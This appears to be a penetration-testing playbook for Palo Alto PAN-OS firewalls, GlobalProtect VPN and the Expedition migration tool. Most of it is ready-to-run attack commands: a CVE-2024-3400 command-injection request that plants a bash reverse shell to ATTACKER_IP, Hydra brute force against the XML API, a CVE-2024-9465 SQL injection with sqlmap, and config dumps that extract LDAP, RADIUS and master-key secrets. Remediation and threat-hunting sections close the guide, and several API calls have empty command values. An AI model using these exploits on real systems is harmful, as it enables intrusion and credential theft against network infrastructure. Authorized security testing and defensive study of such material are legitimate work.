PAN-OS Architecture and Attack Surface

PAN-OS runs on Palo Alto Networks hardware (PA-series) or as a virtual machine (VM-series). From a security testing perspective, the key attack surfaces are:

• Management plane — web GUI on port 443 of the management IP; XML API; SSH; HTTPS certificates
• GlobalProtect — SSL VPN gateway on port 443 of a data plane interface; also GlobalProtect portal
• Panorama — centralized management appliance; controls multiple firewalls
• Expedition — migration tool (often deployed separately); stores cleartext credentials
• PAN-DB — URL filtering service; sometimes abused for data exfiltration

Interface	Default Port	Auth Mechanism	Attack Surface
Management GUI	443 (mgmt IP)	Username/password, certificates	Admin credential brute force, CVEs
XML API	443 (mgmt IP)	API key (derived from credentials)	Credential theft, policy enumeration
GlobalProtect Gateway	443 (data plane)	AD/LDAP, SAML, certificates	CVE-2024-3400, auth bypass
GlobalProtect Portal	443 (data plane)	AD/LDAP, SAML, certificates	Credential harvesting, session abuse
SSH (mgmt)	22 (mgmt IP)	Password or SSH key	Brute force, key theft
Expedition	443 (separate host)	admin/paloalto (default)	Cleartext credential extraction

Fingerprinting and Version Detection

PAN-OS version detection enables accurate CVE mapping. Several endpoints expose version information without authentication.

HTTP Fingerprinting

# Management interface login page (not typically internet-exposed)
curl -sk https://MGMT-IP/ | grep -i "pan\|palo\|version\|release"

# GlobalProtect portal (internet-exposed in VPN deployments)
curl -sk https://TARGET/global-protect/login.esp | grep -i "pan\|palo alto\|globalprotect"

# GlobalProtect gateway
curl -sk https://TARGET/ssl-vpn/login.esp -I | head -20

# PAN-OS web GUI serves login on /php/login.php
curl -sk https://MGMT-IP/php/login.php | grep -i "version\|pan-os"

# The management interface often discloses the PAN-OS version in page source
curl -sk https://MGMT-IP/ | grep -oP "PAN-OS\s[\d\.]+" | head -3

GlobalProtect Version via HIPREPORT

# GlobalProtect exposes version info via the HIP (Host Information Profile) check
curl -sk -X POST https://TARGET/ssl-vpn/hipreport.esp \
  -d "client-version=5.2.0&clientos=Windows&clientgpversion=5.2.0"

# Response may include server-side PAN-OS version
# Also check ssl-vpn/getconfig.esp
curl -sk https://TARGET/ssl-vpn/getconfig.esp | grep -i "version"

# Nmap NSE for PAN-OS detection
nmap -sV --script=ssl-cert -p 443 TARGET
# Certificate CN/SAN often reveals hostname patterns like pa-fw-01.corp.local

Shodan / Censys Detection

# Shodan dorks for PAN-OS
# http.html:"Global Protect" country:US
# http.title:"GlobalProtect" port:443
# ssl.cert.subject.cn:"NGFW" OR "paloalto" OR "PA-"

# Panorama management interface
# http.html:"Panorama" port:443

CVE-2024-3400: OS Command Injection via GlobalProtect

CVE-2024-3400 (CVSS 10.0) is an OS command injection vulnerability in the GlobalProtect feature of PAN-OS. It affects PAN-OS 10.2.x, 11.0.x, and 11.1.x with GlobalProtect gateway or GlobalProtect portal enabled. The vulnerability allows an unauthenticated attacker to execute arbitrary OS commands as root. This was exploited by UTA0218 (a state-sponsored threat actor) as a zero-day before Palo Alto Networks was aware of it.

Vulnerability Details

The vulnerability exists in how GlobalProtect handles session cookies. By crafting a malicious session ID that contains OS command injection sequences, an attacker can cause PAN-OS to execute arbitrary commands when the session cookie is processed. The commands run in the context of the web server process, which has root privileges on PAN-OS.

# Two-step exploitation process:
# Step 1: Create a file on the target (error file path injection)
# Step 2: Use the Telemetry configuration exploit to trigger command execution

# Step 1: Trigger file creation via malformed SESSID cookie
# The session cookie value is used unsafely in a shell command
curl -sk "https://TARGET/global-protect/login.esp" \
  -H "Cookie: SESSID=/..%2F..%2F..%2Ftmp%2Fattacker.txt" \
  -X POST -d "user=test&passwd=test&ok=Sign+In"

# Step 2: Check if file was created (confirms vulnerability)
curl -sk "https://TARGET/global-protect/login.esp" \
  -H "Cookie: SESSID=/../../../../../var/log/pan/gp/ga.log" \
  | grep -i "created\|error\|file"

# Nuclei detection (safe, no file creation)
nuclei -u https://TARGET -t cves/2024/CVE-2024-3400.yaml -severity critical

CVE-2024-3400 Full Exploitation

# Step 1: Create shell command file via malformed SESSID
# The SESSID cookie value is used in: sh -c "rm -f /var/sessid/$SESSID"
# By setting SESSID to a command-containing path, code executes

# Method: write a Python reverse shell to the CGI directory
curl -sk -X POST "https://TARGET/global-protect/login.esp" \
  -H "Cookie: SESSID=/../../../../../opt/panlogs/tmp/device_telemetry/hour/attack.sh" \
  --data-urlencode "user=$(echo 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' > /tmp/rev.sh)" \
  --data-urlencode "passwd=test" \
  --data-urlencode "ok=Sign+In"

# Step 2: Trigger execution via Telemetry (requires device telemetry enabled)
# Attacker sends a malicious telemetry package that includes the shell path

# Alternative step 2 — if you can reach the management interface:
# Trigger telemetry run via XML API

# Detection payload (non-destructive — just writes a timestamp)
curl -sk -X POST "https://TARGET/global-protect/login.esp" \
  -H "Cookie: SESSID=/../../../../../tmp/cve-2024-3400-$(date +%s)" \
  -d "user=test&passwd=test&ok=Sign+In" -v 2>&1 | grep -i "set-cookie\|error"

Management Interface Exposure and Exploitation

The PAN-OS management interface should never be exposed to the internet. However, Shodan regularly indexes thousands of exposed PAN-OS management planes — particularly in cloud deployments where security groups are misconfigured.

Credential Attacks on Management Interface

# Default credentials
# admin / admin (default, must change on first login but sometimes forgotten)
# admin / Palo (found in some documentation)

# Login via web GUI (check response for success indicators)
curl -sk -c cookies.txt -X POST "https://MGMT-IP/php/login.php" \
  -d "prot=https:&server=MGMT-IP&authType=init&lang=en&action=getsoftware&user=admin&passwd=admin&ok=Log+In"

# Response analysis
# Success: redirect to /php/index.php or main dashboard
# Failure: "Wrong username or password" or lock message

# XML API credential test (returns API key on success)
curl -sk "https://MGMT-IP/api/?type=keygen&user=admin&password=admin"
# Success: LUFRPT14MW...
# Failure: Invalid credentials.

# Hydra brute force (authorized only)
hydra -l admin -P passwords.txt MGMT-IP https-get-form \
  "/api/?type=keygen&user=^USER^&password=^PASS^:Invalid credentials"

Authentication Lockout Policy Testing

# PAN-OS has a configurable lockout policy (default: 3 failed attempts = 10 min lockout)
# Test lockout behavior
for i in 1 2 3 4 5; do
  response=$(curl -sk "https://MGMT-IP/api/?type=keygen&user=admin&password=wrongpass$i")
  echo "Attempt $i: $response" | grep -o "error\|lockout\|attempts"
done

# After lockout, test timing of lockout release
# Some PAN-OS versions have predictable lockout reset behavior

PAN-OS XML API Authentication and Enumeration

The PAN-OS XML API provides programmatic access to all firewall management functions. With a valid API key, you can read the entire firewall configuration, running state, logs, and modify rules.

Obtaining an API Key

# Generate API key with valid credentials
API_KEY=$(curl -sk "https://MGMT-IP/api/?type=keygen&user=admin&password=ADMIN_PASS" \
  | grep -oP "(?<=)[^<]+")

echo "API Key: $API_KEY"

# Test API key validity
curl -sk "https://MGMT-IP/api/?type=op&cmd=&key=$API_KEY"

System Information Enumeration

# Full system info (version, serial, uptime, hostname)
curl -sk "https://MGMT-IP/api/?type=op&cmd=&key=$API_KEY" \
  | python3 -c "import sys; import xml.etree.ElementTree as ET; root = ET.parse(sys.stdin).getroot(); [print(f'{c.tag}: {c.text}') for c in root.find('.//result') if c.text]"

# Active administrator sessions
curl -sk "https://MGMT-IP/api/?type=op&cmd=&key=$API_KEY"

# Currently connected VPN users
curl -sk "https://MGMT-IP/api/?type=op&cmd=&key=$API_KEY"

Firewall Configuration Dump

# Export running configuration (contains all credentials, rules, objects)
curl -sk "https://MGMT-IP/api/?type=config&action=get&xpath=/config&key=$API_KEY" \
  -o running-config.xml

# Count security rules
grep -c "" running-config.xml | grep -i "name\|hash\|password"

# Extract LDAP server profiles (bind credentials)
grep -A10 "ldap" running-config.xml | grep -i "bind-dn\|bind-password\|server"

# Extract RADIUS server profiles
grep -A10 "radius" running-config.xml | grep -i "server\|secret"

# Extract master key (used to decrypt encrypted credentials)
grep -i "master-key\|masterkey" running-config.xml

Log Retrieval via API

# Query traffic logs (last 100 allows)
curl -sk "https://MGMT-IP/api/?type=log&log-type=traffic&nlogs=100&filter=(action eq allow)&key=$API_KEY"

# Query authentication logs (reveals internal usernames and auth attempts)
curl -sk "https://MGMT-IP/api/?type=log&log-type=auth&nlogs=100&key=$API_KEY" \
  | grep -oP "(?<=username>)[^<]+"

# Threat logs (reveals detected malware and exploit attempts — useful intel)
curl -sk "https://MGMT-IP/api/?type=log&log-type=threat&nlogs=100&key=$API_KEY"

GlobalProtect Portal Auth Bypass Testing

GlobalProtect portals and gateways have historically been targets for authentication bypass and credential harvesting. Several CVEs across PAN-OS versions have affected GlobalProtect authentication.

GlobalProtect Credential Harvesting Page Abuse

# GlobalProtect portal serves the login page at:
# https://TARGET/global-protect/login.esp (newer)
# https://TARGET/global-protect/portal/css/login.css (portal fingerprint)

# The portal can be configured with a pre-auth landing page
curl -sk https://TARGET/global-protect/login.esp | grep -i "realm\|auth\|form"

# Test for SAML-based authentication (may allow assertion forging)
curl -sk https://TARGET/global-protect/login.esp | grep -i "saml\|sso\|redirect"

# GlobalProtect pre-logon certificate authentication
# If pre-logon is enabled, machine certificates authenticate before user login
# Check for machine certificate enrollment exposure
curl -sk "https://TARGET/global-protect/ssl-tunnel-connect.sslvpn" -I

CVE-2019-1579: GlobalProtect RCE (Pre-auth)

# Older but still relevant in unpatched environments
# Buffer overflow in GlobalProtect gateway on PAN-OS 7.1 < 7.1.19, 8.0 < 8.0.12, 8.1 < 8.1.3

# Check for vulnerable version
curl -sk https://TARGET/global-protect/login.esp -I | grep -i "pan-os\|version"

# Nuclei detection
nuclei -u https://TARGET -t cves/2019/CVE-2019-1579.yaml

# The vulnerability is triggered by a specially crafted request to the sslmgr process
# Exploits write shellcode to the stack and execute as root

Expedition Tool Credential Extraction

Expedition is Palo Alto Networks' migration tool for importing configurations from competitor firewalls (Cisco ASA, Check Point, etc.) into PAN-OS format. It stores credentials in cleartext in its MySQL database and was recently found to have critical vulnerabilities (CVE-2024-9463, CVE-2024-9464, CVE-2024-9465).

Expedition Default Credentials

# Expedition runs on Ubuntu and serves a web interface
# Default credentials: admin / paloalto

# Test login
curl -sk -c cookies.txt -X POST "https://EXPEDITION-HOST/index.php" \
  -d "user=admin&password=paloalto&server=localhost"

# Expedition also has a phpMyAdmin instance
curl -sk https://EXPEDITION-HOST/phpmyadmin/ -I

# Direct MySQL access (if phpMyAdmin accessible)
# Database: expedition
# Table: tbl_user — stores Palo Alto device admin credentials IN CLEARTEXT

CVE-2024-9465: Unauthenticated SQL Injection

# CVE-2024-9465 (CVSS 9.2) — SQL injection in Expedition without auth
# Allows reading arbitrary data from the MySQL database

# Proof of concept (detection only — replace with BLIND timing for safe testing)
curl -sk "https://EXPEDITION-HOST/api/?action=get&object=operator&username=admin%27%20OR%20%271%27%3D%271"

# Extract Palo Alto device credentials from the database via SQLi
# The expedition database stores:
# - Palo Alto device hostnames
# - Admin usernames
# - Admin passwords IN CLEARTEXT
# - API keys

# Sqlmap (authorized engagements)
sqlmap -u "https://EXPEDITION-HOST/api/?action=get&object=operator&username=test" \
  --level=3 --risk=2 --dbs --batch

Database Credential Extraction Post-Auth

# With Expedition admin access, extract all stored credentials
# Navigate to: Admin > Settings > Credentials
# Or via API:
curl -sk -b cookies.txt "https://EXPEDITION-HOST/api/?action=get&object=device&type=all" \
  | python3 -m json.tool

# Direct database query (via phpMyAdmin or SSH to Expedition host)
mysql -u root expedition -e "
SELECT tbl_device.ip_address, tbl_user.username, tbl_user.password
FROM tbl_device
JOIN tbl_user ON tbl_device.id = tbl_user.device_id;"

# These credentials directly authenticate to production Palo Alto firewalls

Firewall Configuration Export and Analysis

Firewall configurations contain a wealth of intelligence for pentesters: network topology, security policies (what traffic flows where), NAT rules (internal network structure), and credentials for integrated services.

Configuration Analysis Methodology

# Parse the exported XML config for sensitive data
python3 << 'EOF'
import xml.etree.ElementTree as ET
import re

tree = ET.parse('running-config.xml')
root = tree.getroot()

# Extract all admin password hashes
print("=== Admin Credentials ===")
for admin in root.findall('.//admin'):
    name = admin.find('entry').get('name', 'unknown')
    phash = admin.find('.//phash')
    print(f"Admin: {name}, Hash: {phash.text if phash is not None else 'N/A'}")

# Extract LDAP configurations
print("\n=== LDAP Configurations ===")
for ldap in root.findall('.//ldap'):
    server = ldap.find('.//server/entry/server')
    binddn = ldap.find('.//bind-dn')
    bindpw = ldap.find('.//bind-password')
    if server is not None:
        print(f"Server: {server.text}, Bind DN: {binddn.text if binddn is not None else ''}, Pass: {bindpw.text if bindpw is not None else ''}")

# Extract all security rules
print("\n=== Security Policy Rules ===")
for rule in root.findall('.//security/rules/entry'):
    print(f"Rule: {rule.get('name')}")

EOF

NAT Rule Analysis for Network Topology Discovery

# NAT rules reveal internal network structure
# Source NAT shows internal subnets
# Destination NAT shows which internal services are exposed

# Via XML API
curl -sk "https://MGMT-IP/api/?type=config&action=get&xpath=/config/devices/entry/vsys/entry/rulebase/nat&key=$API_KEY" \
  | python3 -c "
import sys, xml.etree.ElementTree as ET
root = ET.parse(sys.stdin).getroot()
for rule in root.findall('.//entry'):
    print(f\"NAT: {rule.get('name')}\")
    src = rule.find('.//source/member')
    dst = rule.find('.//destination/member')
    xlate = rule.find('.//destination-translation')
    if src is not None: print(f'  Src: {src.text}')
    if dst is not None: print(f'  Dst: {dst.text}')
"

Log Forwarding Profile Credential Exposure

PAN-OS log forwarding profiles configure where logs are sent — Syslog, Panorama, SIEM, email. These profiles often contain API keys, shared secrets, and credentials for the receiving systems.

# Enumerate log forwarding profiles via XML API
curl -sk "https://MGMT-IP/api/?type=config&action=get&xpath=/config/shared/log-forwarding&key=$API_KEY"

# SIEM integration credentials
curl -sk "https://MGMT-IP/api/?type=config&action=get&xpath=/config/shared/server-profile/syslog&key=$API_KEY"

# Email server credentials (SMTP password for alert emails)
curl -sk "https://MGMT-IP/api/?type=config&action=get&xpath=/config/shared/server-profile/email&key=$API_KEY"

# Panorama connection settings (Panorama admin key / credentials)
curl -sk "https://MGMT-IP/api/?type=op&cmd=&key=$API_KEY"

Remediation and Hardening

Finding	Risk	Remediation
CVE-2024-3400 unpatched	Critical	Apply PAN-OS 10.2.9-h1, 11.0.4-h1, or 11.1.2-h3 immediately; disable GlobalProtect if not needed
Management interface internet-exposed	Critical	Restrict to RFC1918 / management VLAN; use Panorama or jump host for remote admin
Default admin credentials	Critical	Change on first boot; enable MFA for admin access
Expedition with default credentials	Critical	Change admin/paloalto; restrict network access; apply CVE-2024-9463/9464/9465 patches
LDAP bind credentials in config	High	Use a dedicated read-only service account; rotate if firewall is compromised
API key hardcoded in scripts	High	Use API key rotation; store in secrets manager; audit API key usage
Telemetry enabled (CVE-2024-3400 condition)	High	Disable device telemetry as temporary mitigation: set deviceconfig setting telemetry enabled no

Immediate Mitigation for CVE-2024-3400

# Temporary mitigation (disable telemetry) while patching
# Via CLI (SSH to management interface):
set deviceconfig setting telemetry enabled no
commit

# Verify telemetry is disabled
show deviceconfig setting telemetry

# Via XML API:
curl -sk "https://MGMT-IP/api/?type=config&action=set&xpath=/config/devices/entry/deviceconfig/setting/telemetry&element=no&key=$API_KEY"
curl -sk "https://MGMT-IP/api/?type=commit&cmd=&key=$API_KEY"

# Apply patches via Panorama or direct CLI
request system software install version 11.1.2-h3
# Then reboot
request restart system

Threat Hunting Post-Exploitation Indicators

# CISA-documented IoCs for CVE-2024-3400 exploitation (UPSTYLE backdoor)
# Check for suspicious processes
curl -sk "https://MGMT-IP/api/?type=op&cmd=&key=$API_KEY" \
  | grep -i "python\|perl\|bash\|curl\|wget"

# Check for new files in web-accessible directories
curl -sk "https://MGMT-IP/api/?type=op&cmd=/var/appweb/htdocs&key=$API_KEY"

# Review network connections (check for unexpected outbound)
curl -sk "https://MGMT-IP/api/?type=op&cmd=&key=$API_KEY" | grep -i "connect"

# UPSTYLE backdoor installs as a cron job at:
# /usr/lib/python3.6/site-packages/system.pth (Python path injection)
# Check modification times on Python system libraries

Summary

Palo Alto PAN-OS firewalls are high-value targets in any external assessment. The attack surface spans CVE-2024-3400 (unauthenticated RCE as root via GlobalProtect), the XML API (full configuration access with valid credentials), the Expedition migration tool (cleartext credential store), and the management interface if internet-exposed. The post-exploitation impact of a compromised PAN-OS device is severe: full firewall rule visibility, NAT rules revealing internal network topology, LDAP bind credentials for the entire Active Directory, and often direct access to the management plane of every other network device in the environment.

For authorized assessments: fingerprint the version, run nuclei CVE templates, probe GlobalProtect for the 2024-3400 condition, check for default or weak credentials, and if access is obtained, export and analyze the full running configuration before looking for Expedition deployments that may hold cleartext credentials for all connected firewalls.